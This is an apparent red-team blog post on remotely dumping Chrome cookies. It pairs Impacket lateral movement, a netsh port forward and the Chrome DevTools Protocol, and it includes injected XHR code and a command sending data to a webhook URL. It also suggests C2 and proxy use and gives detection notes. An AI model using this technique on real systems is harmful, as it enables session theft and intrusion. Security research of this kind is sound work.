# tl;dr
With more defender attention to DPAPI dumps and the change of how Chrome stores cookies, I was curious to explore a remote extension of local Chrome DevTools cookie dumping techniques. In addition, since the Chrome DevTools Protocol allows full control of the browser, it can be used to issue arbitrary requests, which could both be used to browse the web as the remote Chrome user and for pivoting.
The POC tool is available on [GitHub](https://github.com/zimnyaa/remotechrome)
# mechanism
The `remotechrome.py` script uses the `atexec` lateral movement method from Impacket to:
- run headless Chrome in a user session with remote debugging enabled;
- as system, create a `netsh` port forward to make the remote debugging interface remotely accessible
Then, a modified version of [PyChromeDevTools](https://github.com/marty90/PyChromeDevTools) is used to connect and dump user cookies.
Here it is in action:
> ![[Pasted image 20240810174705.png]]
The remote debugging port remains open, which means that it could be used to execute arbitrary HTTP requests. The method that I've used was to browse to the base domain of the request URL and then execute an XHR:
```python
fetcher_code = """
var req = new XMLHttpRequest();
req.open("GET", "%s", false);
req.send(null);
req.responseText
"""
# ... snip ...
chrome.Page.enable()
chrome.Page.navigate(url=purl.scheme+"://"+purl.netloc+"/")
chrome.Runtime.enable()
resp = chrome.Runtime.evaluate(expression=fetcher_code) # you can start doing browsing here!
print(resp[0]["result"]["result"]["value"])
# ... snip ...
```
Because this mechanism allows for both GET and POST, it is trivial to build an HTTP proxy on top of the solution or build a C2 channel over it. An alternative approach would be to hijack an extension for even more capabilities (or just install CursedChrome remotely).
A simple tool is included in the repo to illustrate the concept:
> with `python3 remotechrome_curl.py -target 10.3.10.21:9221 -url https://webhook.site/<url> -postdata asd`:
> ![[Pasted image 20240810175853.png]]
I'm sure a more speedy version could be implemented as well.
> **note:** gotchas and OPSEC considerations
> - Chrome needs to run in a user session, and be pointed to the user data directory. This is why the script asks for the username to format the arguments like `--user-data-dir="C:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data"`
> - all origins have to be allowed, or you need to modify the way the requests are formed
> - the Chrome command line is extremely suspicious and easy to write detections for (the same applies for `netsh` port forwards)
> - the lateral movement method used here is a very basic one, and without modification, I don't think the benefits for not using DPAPI outweigh the cost of using the remote task service